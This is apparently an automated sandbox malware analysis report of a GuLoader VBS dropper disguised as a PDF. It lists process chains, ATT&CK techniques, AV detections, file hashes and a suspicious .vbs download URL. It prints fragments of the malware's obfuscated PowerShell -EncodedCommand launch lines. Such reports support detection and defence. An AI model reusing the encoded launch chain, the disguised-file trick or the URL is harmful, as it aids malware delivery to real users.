gAHUAbgBkAGUAcgAgAHYAaQBlAHIAIABZAEQARQBSAFAAIABLAGwAYgBlAGIAYQBhAG4AZAA5ACAAVgBpAHAAcwB0ADQAIABNAGEAeABpAG0AbwBuACAAQQBwAHAAcgBhAGkAcwBlADQAIABBAFIAVABJAEcARQBSACAADQAKACMAVQBEAFMASwBSAEkARABOACAAegBpAHQAYQBzACAAcwBwAGEAbgBrACAAVABpAHAAcABlAHIAaABvADYAIABzAGMAcgBvAGwAIABGAG4AaQBzAHIAIABGAFIAQQBTAEkARwBFACAAZABpAGUAdABpAGMAaQBhACAAaABhAGEAbgAgAFMAcABhAGEAbQBuAGQAcwAxACAAcwBlAHIAdgBpACAATABlAGQAcwBhAGcAZQBtAHUAIABVAG4AZABlAHIAawBlAG4AZAB0ADcAIABTAGEAbgBkAHAANAAgAGsAYQBwAHMAbABlAHIAYgBhAHMAIABkAGkAcwByACAAUABSAE8AUAAgAHIAbwBzAHMAZQAgAEYAbwByAGsAbABhADkAIAANAAoAIwBUAHIAYQBuAHMAaQBzAHQAbwByADEAIABXAEEAUgBEACAARABvAG0AcwBmAG8AMwAgAEIAQQBKAEEARABTAEUATgAgAEsAQQBSAEEASwBUAEUAUgBCACAAYwBoAGwAbwAgAEkAcwBvAGMAIABPAHIAbwBuAHQAaQB1AG0AMwAgAEUAcQB1AGkAcABwAGUANwAgAEUAcABpAGcAcgBhAG0AcgAgAE0AYQB0AHQAaQBzAHAAdQAgAFMAaABvAHAAcABpAG4AZwBlACAAUgBFAFQASQAgAEQARQBPAFIAUwBVAE0AVgAgAGEAbABtAHUAIABHAHIAYQB2AGgAdQAgAEYAbwByAHMAZwA4ACAAVABIAEkAUg
    Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBJAG4AcwB0AHIAdQA5ACAAUwBCAEUAVQBSAFQARQBSAE4ARQAgAFMAbABhAG4AIABTAHAAbwBuAHQAYQBuADcAIABVAE4AQwBBAEwATAAgAGUAbQBiAG8AIAByAGUAaQB0ACAAVABhAHIAcABhAHAAZQAgAHUAZwBpAGYAdABlAHMAZAAgAEIAQQBDAEsAUwBUAEEASQBSACAAZQBnAG8AaQB0AHkAaAAgAFMAbQBlAGQAIABVAFIATwBHAEUATgAgAHYAYQBzAG8AcgByAGgAYQBwACAAQQBtAGUAdAByAG8AIABQAEEAUgBBAFAASABSAEEAUwBUACAASwByAHkAbQBtAGUAbABsAG8AYwAyACAASQBOAFQARQBSAFMAUABJAFIAIABVAG4AcwBxAHUAZQA2ACAAagBhAGMAbwBiAGkAdABpAHMAIABQAEgATwBOAE8AUABIACAAQQBiAHMAYwBvAG4AZABlAHIAcwA3ACAAQwBoAGkAawBpAHQAYQBvAHAAcwAgAFMASwBZAEcARwAgAEQATwBNAE0ARQBEAEEARwBTACAAbgBvAG4AYQBzAHMAaQBzAHQAYQAgAEEAcgBjAGgAYwBoAGUAIAB0AHYAaQB2ACAASwBhAHAAcgBpAGYAbwBsAGkAIABGAGkAbgBhAG4AcwB0AGkAIAANAAoAIwBUAHIAaQBwAHAAZQB0AHMAIABNAGwAawBlADIAIABuAG8AbgBlAHgAcABsAG8AcgAgAEYATwBMAEsARQBDAEUAIABBAHIAdgBlAGYAbABnAGUAIABGAEEAUwBUAFAAUgBJAFMAUwBZACAASABvAGcAZwB3ADYAIABSAGUAcABlAHQANAAgAEgAQQBMAFYATwBOAEsATABFACAAQQByAGIAZQBqAGQAcwAgAFAATABPAFQAVABFAFIAIABUAHMAZQBkACAADQAKACMARAB5AG4AYQBtAGkAawBrAGUAbgA3ACAAUwBUAEsAWQBTAFQAVAAgAEgAeQBkAHIAbwBuAGkAdAA1ACAAcgBlAGQAaQBzAHQAcgBpACAAbQBlAHIAaQBjAGEAcgAgAHYAaQBwAHAAIABGAGEAYgByADEAIABGAEwATwBWAE0AQQAgAEEAQQBOAEQAUwBIAE8AIABTAHQAYQBhAGwAcwB0AHUAIABKAEUAUwBVAEkAIABUAGEAbgBhACAAQwBvAG0AbQBvACAARwB1AGEAcABpAG4AbwAgAFMAeQBuAGsAcgBvAG4ANwAgAGQAZQB2AGwAaQBuAHIAZQB0ACAATwBtAHMAdABuAGkAbgBnAHMAZwAgAFIAZQBzAGUAMgAgAG0AZQB0AHIAbwBsAG8AIABTAFUARwBFAE4ARQBLAEQAQgBPACAAUwB2AGkAcgBwAGUAdABzAHUAbQAxACAAaAB5AGQAcgBhAHQAZQByACAATwBCAFMARQBSAFYAQQAgAFQARQBNAFAAQQBOAEEAIABWAEkASwBJAE4ARwBFAFIAIAB1AHAAcgBpAHYAZQBlAGsAcwAgAGgAZQBhAHIAdABiACAARQBtAGIAZQBkACAAVQBOAEEAUwBTAEUATgAgAE8AUABLAEwAQQAgAGUAZQBiAHIAZQBlAHIAZQAgAFAAaQBjAHIAaQB0AGkAYwAzACAADQAKACMARQBFAEwASQBFAFMAVAAgAEMAcgB5AHMAdABhAGwAbwBnADEAIABEAFUAUwBJAE4ATQBFACAASQBuAGQAaQB2ADgAIAB1AGQAcwBrAHIAaQBmAHQAcwBwACAAVABlAGsAbgBvAGsAcgBhADEAIAB0AHkAbgBkAHQAZgAgAEUAbABlAHYAdABpAG0AZQA2ACAAZAB5AGsAcwB2ACAAYgBvAG4AYgBvAG4AZQByAHMAIABhAG4AdABpAGMAYQBwAGkAdAAgAHUAbgBkAGUAcgAgAHYAaQBlAHIAIABZAEQARQBSAFAAIABLAGwAYgBlAGIAYQBhAG4AZAA5ACAAVgBpAHAAcwB0ADQAIABNAGEAeABpAG0AbwBuACAAQQBwAHAAcgBhAGkAcwBlADQAIABBAFIAVABJAEcARQBSACAADQAKACMAVQBEAFMASwBSAEkARABOACAAegBpAHQAYQBzACAAcwBwAGEAbgBrACAAVABpAHAAcABlAHIAaABvADYAIABzAGMAcgBvAGwAIABGAG4AaQBzAHIAIABGAFIAQQBTAEkARwBFACAAZABpAGUAdABpAGMAaQBhACAAaABhAGEAbgAgAFMAcABhAGEAbQBuAGQAcwAxACAAcwBlAHIAdgBpACAATABlAGQAcwBhAGcAZQBtAHUAIABVAG4AZABlAHIAawBlAG4AZAB0ADcAIABTAGEAbgBkAHAANAAgAGsAYQBwAHMAbABlAHIAYgBhAHMAIABkAGkAcwByACAAUABSAE8AUAAgAHIAbwBzAHMAZQAgAEYAbwByAGsAbABhADkAIAANAAoAIwBUAHIAYQBuAHMAaQBzAHQAbwByADEAIABXAEEAUgBEACAARABvAG0AcwBmAG8AMwAgAEIAQQBKAEEARABTAEUATgAgAEsAQQBSAEEASwBUAEUAUgBCACAAYwBoAGwAbwAgAEkAcwBvAGMAIABPAHIAbwBuAHQAaQB1AG0AMwAgAEUAcQB1AGkAcABwAGUANwAgAEUAcABpAGcAcgBhAG0AcgAgAE0AYQB0AHQAaQBzAHAAdQAgAFMAaABvAHAAcABpAG4AZwBlACAAUgBFAFQASQAgAEQARQBPAFIAUwBVAE0AVgAgAGEAbABtAHUAIABHAHIAYQB2AGgAdQAgAEYAbwByAHMAZwA4ACAAVABIAEkAUg
    Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBJAG4AcwB0AHIAdQA5ACAAUwBCAEUAVQBSAFQARQBSAE4ARQAgAFMAbABhAG4AIABTAHAAbwBuAHQAYQBuADcAIABVAE4AQwBBAEwATAAgAGUAbQBiAG8AIAByAGUAaQB0ACAAVABhAHIAcABhAHAAZQAgAHUAZwBpAGYAdABlAHMAZAAgAEIAQQBDAEsAUwBUAEEASQBSACAAZQBnAG8AaQB0AHkAaAAgAFMAbQBlAGQAIABVAFIATwBHAEUATgAgAHYAYQBzAG8AcgByAGgAYQBwACAAQQBtAGUAdAByAG8AIABQAEEAUgBBAFAASABSAEEAUwBUACAASwByAHkAbQBtAGUAbABsAG8AYwAyACAASQBOAFQARQBSAFMAUABJAFIAIABVAG4AcwBxAHUAZQA2ACAAagBhAGMAbwBiAGkAdABpAHMAIABQAEgATwBOAE8AUABIACAAQQBiAHMAYwBvAG4AZABlAHIAcwA3ACAAQwBoAGkAawBpAHQAYQBvAHAAcwAgAFMASwBZAEcARwAgAEQATwBNAE0ARQBEAEEARwBTACAAbgBvAG4AYQBzAHMAaQBzAHQAYQAgAEEAcgBjAGgAYwBoAGUAIAB0AHYAaQB2ACAASwBhAHAAcgBpAGYAbwBsAGkAIABGAGkAbgBhAG4AcwB0AGkAIAANAAoAIwBUAHIAaQBwAHAAZQB0AHMAIABNAGwAawBlADIAIABuAG8AbgBlAHgAcABsAG8AcgAgAEYATwBMAEsARQBDAEUAIABBAHIAdgBlAGYAbABnAGUAIABGAEEAUwBUAFAAUgBJAFMAUwBZACAASABvAGcAZwB3ADYAIABSAGUAcABlAHQANAAgAEgAQQBMAFYATwBOAEsATABFACAAQQByAGIAZQBqAGQAcwAgAFAATABPAFQAVABFAFIAIABUAHMAZQBkACAADQAKACMARAB5AG4AYQBtAGkAawBrAGUAbgA3ACAAUwBUAEsAWQBTAFQAVAAgAEgAeQBkAHIAbwBuAGkAdAA1ACAAcgBlAGQAaQBzAHQAcgBpACAAbQBlAHIAaQBjAGEAcgAgAHYAaQBwAHAAIABGAGEAYgByADEAIABGAEwATwBWAE0AQQAgAEEAQQBOAEQAUwBIAE8AIABTAHQAYQBhAGwAcwB0AHUAIABKAEUAUwBVAEkAIABUAGEAbgBhACAAQwBvAG0AbQBvACAARwB1AGEAcABpAG4AbwAgAFMAeQBuAGsAcgBvAG4ANwAgAGQAZQB2AGwAaQBuAHIAZQB0ACAATwBtAHMAdABuAGkAbgBnAHMAZwAgAFIAZQBzAGUAMgAgAG0AZQB0AHIAbwBsAG8AIABTAFUARwBFAE4ARQBLAEQAQgBPACAAUwB2AGkAcgBwAGUAdABzAHUAbQAxACAAaAB5AGQAcgBhAHQAZQByACAATwBCAFMARQBSAFYAQQAgAFQARQBNAFAAQQBOAEEAIABWAEkASwBJAE4ARwBFAFIAIAB1AHAAcgBpAHYAZQBlAGsAcwAgAGgAZQBhAHIAdABiACAARQBtAGIAZQBkACAAVQBOAEEAUwBTAEUATgAgAE8AUABLAEwAQQAgAGUAZQBiAHIAZQBlAHIAZQAgAFAAaQBjAHIAaQB0AGkAYwAzACAADQAKACMARQBFAEwASQBFAFMAVAAgAEMAcgB5AHMAdABhAGwAbwBnADEAIABEAFUAUwBJAE4ATQBFACAASQBuAGQAaQB2ADgAIAB1AGQAcwBrAHIAaQBmAHQAcwBwACAAVABlAGsAbgBvAGsAcgBhADEAIAB0AHkAbgBkAHQAZgAgAEUAbABlAHYAdABpAG0AZQA2ACAAZAB5AGsAcwB2ACAAYgBvAG4AYgBvAG4AZQByAHMAIABhAG4AdABpAGMAYQBwAGkAdAAgAHUAbgBkAGUAcgAgAHYAaQBlAHIAIABZAEQARQBSAFAAIABLAGwAYgBlAGIAYQBhAG4AZAA5ACAAVgBpAHAAcwB0ADQAIABNAGEAeABpAG0AbwBuACAAQQBwAHAAcgBhAGkAcwBlADQAIABBAFIAVABJAEcARQBSACAADQAKACMAVQBEAFMASwBSAEkARABOACAAegBpAHQAYQBzACAAcwBwAGEAbgBrACAAVABpAHAAcABlAHIAaABvADYAIABzAGMAcgBvAGwAIABGAG4AaQBzAHIAIABGAFIAQQBTAEkARwBFACAAZABpAGUAdABpAGMAaQBhACAAaABhAGEAbgAgAFMAcABhAGEAbQBuAGQAcwAxACAAcwBlAHIAdgBpACAATABlAGQAcwBhAGcAZQBtAHUAIABVAG4AZABlAHIAawBlAG4AZAB0ADcAIABTAGEAbgBkAHAANAAgAGsAYQBwAHMAbABlAHIAYgBhAHMAIABkAGkAcwByACAAUABSAE8AUAAgAHIAbwBzAHMAZQAgAEYAbwByAGsAbABhADkAIAANAAoAIwBUAHIAYQBuAHMAaQBzAHQAbwByADEAIABXAEEAUgBEACAARABvAG0AcwBmAG8AMwAgAEIAQQBKAEEARABTAEUATgAgAEsAQQBSAEEASwBUAEUAUgBCACAAYwBoAGwAbwAgAEkAcwBvAGMAIABPAHIAbwBuAHQAaQB1AG0AMwAgAEUAcQB1AGkAcABwAGUANwAgAEUAcABpAGcAcgBhAG0AcgAgAE0AYQB0AHQAaQBzAHAAdQAgAFMAaABvAHAAcABpAG4AZwBlACAAUgBFAFQASQAgAEQARQBPAFIAUwBVAE0AVgAgAGEAbABtAHUAIABHAHIAYQB2AGgAdQAgAEYAbwByAHMAZwA4ACAAVABIAEkAUg
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\wwh3pdnv\wwh3pdnv.cmdline
    Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user~1\AppData\Local\Temp\RESBAD5.tmp" "c:\Users\user\AppData\Local\Temp\wwh3pdnv\CSC196797DCDE8F47A0A151AAD0920D1B.TMP"
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Configuration.Install\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Configuration.Install.dll VolumeInformation
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
    Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation
    Source: C:\Windows\System32\wscript.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid
    Initial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionExfiltrationCommand and ControlNetwork EffectsRemote Service EffectsImpact
    Valid Accounts11
    Command and Scripting Interpreter
    Path Interception11
    Process Injection
    11
    Masquerading
    OS Credential Dumping1
    Query Registry
    Remote Services1
    Archive Collected Data
    Exfiltration Over Other Network Medium1
    Encrypted Channel
    Eavesdrop on Insecure Network CommunicationRemotely Track Device Without AuthorizationModify System Partition
    Default Accounts221
    Scripting
    Boot or Logon Initialization ScriptsBoot or Logon Initialization Scripts21
    Virtualization/Sandbox Evasion
    LSASS Memory1
    Security Software Discovery
    Remote Desktop ProtocolData from Removable MediaExfiltration Over Bluetooth1
    Application Layer Protocol
    Exploit SS7 to Redirect Phone Calls/SMSRemotely Wipe Data Without AuthorizationDevice Lockout
    Domain Accounts2
    PowerShell
    Logon Script (Windows)Logon Script (Windows)11
    Process Injection
    Security Account Manager1
    Process Discovery
    SMB/Windows Admin SharesData from Network Shared DriveAutomated ExfiltrationSteganographyExploit SS7 to Track Device LocationObtain Device Cloud BackupsDelete Device Data
    Local AccountsAt (Windows)Logon Script (Mac)Logon Script (Mac)1
    Deobfuscate/Decode Files or Information
    NTDS21
    Virtualization/Sandbox Evasion
    Distributed Component Object ModelInput CaptureScheduled TransferProtocol ImpersonationSIM Card SwapCarrier Billing Fraud
    Cloud AccountsCronNetwork Logon ScriptNetwork Logon Script221
    Scripting
    LSA Secrets1
    Application Window Discovery
    SSHKeyloggingData Transfer Size LimitsFallback ChannelsManipulate Device CommunicationManipulate App Store Rankings or Ratings
    Replication Through Removable MediaLaunchdRc.commonRc.common12
    Obfuscated Files or Information
    Cached Domain Credentials1
    File and Directory Discovery
    VNCGUI Input CaptureExfiltration Over C2 ChannelMultiband CommunicationJamming or Denial of ServiceAbuse Accessibility Features
    External Remote ServicesScheduled TaskStartup ItemsStartup ItemsCompile After DeliveryDCSync12
    System Information Discovery
    Windows Remote ManagementWeb Portal CaptureExfiltration Over Alternative ProtocolCommonly Used PortRogue Wi-Fi Access PointsData Encrypted for Impact
    Hide Legend

    Legend:

    • Process
    • Signature
    • Created File
    • DNS/IP Info
    • Is Dropped
    • Is Windows Process
    • Number of created Registry Values
    • Number of created Files
    • Visual Basic
    • Delphi
    • Java
    • .Net C# or VB.NET
    • C, C++ or other language
    • Is malicious
    • Internet
    behaviorgraph top1 signatures2 2 Behavior Graph ID: 625179 Sample: doc_65398086_4190362045539.... Startdate: 12/05/2022 Architecture: WINDOWS Score: 88 22 Found malware configuration 2->22 24 Multi AV Scanner detection for submitted file 2->24 26 Yara detected GuLoader 2->26 28 3 other signatures 2->28 8 wscript.exe 2 2->8         started        process3 signatures4 30 Wscript starts Powershell (via cmd or directly) 8->30 32 Very long command line found 8->32 34 Encrypted powershell cmdline option found 8->34 11 powershell.exe 22 8->11         started        process5 process6 13 csc.exe 3 11->13         started        16 conhost.exe 11->16         started        file7 20 C:\Users\user\AppData\Local\...\wwh3pdnv.dll, PE32 13->20 dropped 18 cvtres.exe 1 13->18         started        process8

    This section contains all screenshots as thumbnails, including those not shown in the slideshow.


    windows-stand
    SourceDetectionScannerLabelLink
    doc_65398086_4190362045539.pdf.vbs19%VirustotalBrowse
    doc_65398086_4190362045539.pdf.vbs20%ReversingLabsScript.Trojan.Valyria
    No Antivirus matches
    No Antivirus matches
    No Antivirus matches
    SourceDetectionScannerLabelLink
    https://vegproworld.com/wp-content/Medalj.vbs0%Avira URL Cloudsafe
    https://go.micro0%URL Reputationsafe
    No contacted domains info
    NameMaliciousAntivirus DetectionReputation
    https://vegproworld.com/wp-content/Medalj.vbstrue
    • Avira URL Cloud: safe
    unknown
    NameSourceMaliciousAntivirus DetectionReputation
    http://schemas.xmlsoap.org/ws/2005/05/identity/claims/namepowershell.exe, 0000000E.00000002.885692627.0000000004571000.00000004.00000800.00020000.00000000.sdmpfalse
      high
      https://go.micropowershell.exe, 0000000E.00000002.887074953.0000000004809000.00000004.00000800.00020000.00000000.sdmpfalse
      • URL Reputation: safe
      unknown
      No contacted IP infos
      Joe Sandbox Version:34.0.0 Boulder Opal
      Analysis ID:625179
      Start date and time: 12/05/202213:30:242022-05-12 13:30:24 +02:00
      Joe Sandbox Product:CloudBasic
      Overall analysis duration:0h 10m 34s
      Hypervisor based Inspection enabled:false
      Report type:light
      Sample file name:doc_65398086_4190362045539.pdf.vbs
      Cookbook file name:default.jbs
      Analysis system description:Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
      Number of analysed new started processes analysed:23
      Number of new started drivers analysed:0
      Number of existing processes analysed:0
      Number of existing drivers analysed:0
      Number of injected processes analysed:0
      Technologies:
      • HCA enabled
      • EGA enabled
      • HDC enabled
      • AMSI enabled
      Analysis Mode:default
      Analysis stop reason:Timeout
      Detection:MAL
      Classification:mal88.troj.evad.winVBS@8/9@0/0
      EGA Information:Failed
      HDC Information:Failed
      HCA Information:
      • Successful, ratio: 100%
      • Number of executed functions: 0
      • Number of non-executed functions: 0
      Cookbook Comments:
      • Found application associated with file extension: .vbs
      • Adjust boot time
      • Enable AMSI
      • Override analysis time to 240s for JS files taking high CPU consumption
      • Exclude process from analysis (whitelisted): MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe, wuapihost.exe
      • Excluded domains from analysis (whitelisted): ris.api.iris.microsoft.com, client.wns.windows.com, fs.microsoft.com, store-images.s-microsoft.com, login.live.com, sls.update.microsoft.com, settings-win.data.microsoft.com, ctldl.windowsupdate.com, displaycatalog.mp.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, arc.msn.com
      • Execution Graph export aborted for target powershell.exe, PID 5504 because it is empty
      • Not all processes where analyzed, report is missing behavior information
      • Report size exceeded maximum capacity and may have missing behavior information.
      • Report size getting too big, too many NtOpenKeyEx calls found.
      • Report size getting too big, too many NtProtectVirtualMemory calls found.
      • Report size getting too big, too many NtQueryValueKey calls found.
      TimeTypeDescription
      13:34:38API Interceptor25x Sleep call for process: powershell.exe modified
      No context
      No context
      No context
      No context
      No context
      Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
      File Type:Intel 80386 COFF object file, not stripped, 3 sections, symbol offset=0x496, 9 symbols
      Category:modified
      Size (bytes):1340
      Entropy (8bit):4.011609440700331
      Encrypted:false
      SSDEEP:24:HZK9oyiy25s+hZHXhKOLmfWI+ycuZhNdakSbPNnq9ed:1y05PZxKYm+1ulda3Rq9+
      MD5:35A06BF865E875C32B726828816967FD
      SHA1:69567D3C9C7E29E87231287DAA08C8C60D881A57
      SHA-256:F5A343919ECF1F8EA925B6C5EA94D82696B3ABB8896A251CE68992E1F623E31F
      SHA-512:2E148251EC07F729554628D576E41B452FDF80AF03E0AAECA367648B3F1415EDEED1C4D6DEFFC2D3A4579114C27C9885BB9713D043451F5F19FD19E79FB96E2C
      Malicious:false
      Reputation:low
      Preview:L...io}b.............debug$S........X...................@..B.rsrc$01........X.......<...........@..@.rsrc$02........P...F...............@..@........V....c:\Users\user\AppData\Local\Temp\wwh3pdnv\CSC196797DCDE8F47A0A151AAD0920D1B.TMP.................#O&W.....eg...k..........7.......C:\Users\user~1\AppData\Local\Temp\RESBAD5.tmp.-.<...................'...Microsoft (R) CVTRES.`.=..cwd.C:\Users\user\Desktop.exe.C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe................................................0.......................H.......L...........H.........L.4...V.S._.V.E.R.S.I.O.N._.I.N.F.O.............................?...........................D.....V.a.r.F.i.l.e.I.n.f.o.....$.....T.r.a.n.s.l.a.t.i.o.n...............S.t.r.i.n.g.F.i.l.e.I.n.f.o.........0.0.0.0.0.4.b.0...,.....F.i.l.e.D.e.s.c.r.i.p.t.i.o.n..... ...0.....F.i.l.e.V.e.r.s.i.o.n.....0...0...0...0...<.....I.n.t.e.r.n.a.l.N.a.m.e...w.w.h.3.p.d.n.v...d.l.l.....(.....L.e.g.a.l.C.o.p.y.r.i.g.h.t... ...D.....
      Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      File Type:very short file (no magic)
      Category:dropped
      Size (bytes):1
      Entropy (8bit):0.0
      Encrypted:false
      SSDEEP:3:U:U
      MD5:C4CA4238A0B923820DCC509A6F75849B
      SHA1:356A192B7913B04C54574D18C28D46E6395428AB
      SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
      SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
      Malicious:false
      Reputation:high, very likely benign file
      Preview:1
      Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      File Type:very short file (no magic)
      Category:dropped
      Size (bytes):1
      Entropy (8bit):0.0
      Encrypted:false
      SSDEEP:3:U:U
      MD5:C4CA4238A0B923820DCC509A6F75849B
      SHA1:356A192B7913B04C54574D18C28D46E6395428AB
      SHA-256:6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
      SHA-512:4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
      Malicious:false
      Preview:1
      Process:C:\Windows\System32\wscript.exe
      File Type:data
      Category:modified
      Size (bytes):57933
      Entropy (8bit):7.415138518303065
      Encrypted:false
      SSDEEP:1536:pZVFWBYYoikwV2sLpHlqDhPf70u82ivgnOsQs:pJWkikwQbVPj0wnOi
      MD5:C550EC97DA0B49DE2EE31A4552D45484
      SHA1:EC31D87E64AB26A00D2E9796A2FAEE787BB32325
      SHA-256:37E778140A816131239F263E917234F92106C4F3EC55EAB1007D75E587815544
      SHA-512:D4CFA10342CD3E3C68976ADD3A538A7A5F3CA190C850A93F767B463E1697B212245602FDB2C0BA39BC6FD1C4C0F8C5B75388393A194AD85F392D0CD6FB683963
      Malicious:false
      Preview:......hG.3W.4$'..q.,$H.-&Z.._1..4..?@t@@@@9.u.W.......p.@t..........s..c........"[..1.4.I...T._.Ry..;.aR...8.............B..R..)....C.Hn.~uyw..%&..h.....GY....R.j..A.].k.~$....O.nNW..cZ..K\.1..,.....l....g.....<..j..k....v..U.1.!...y}`...:B.v.I-..>|4<....J....g.Z..F..!....&<.'.f'.r&.`".w..*......z....c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..cY}3.....c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c..c.I...S........<P........g......f...;%......6..8....f...w2...p..fJ.MH...X.&MR...#.._...Z......dR.a..8.?@t.?@MH...XN.t.?@..{&.S.50....E?@'"X.......{.!Lt.d.1..<......4f......&.[(/4..5.....=?@.*...T0.CE?@..j.a.Yy...d...=......@..H.k...g.I.?.1.....#.. 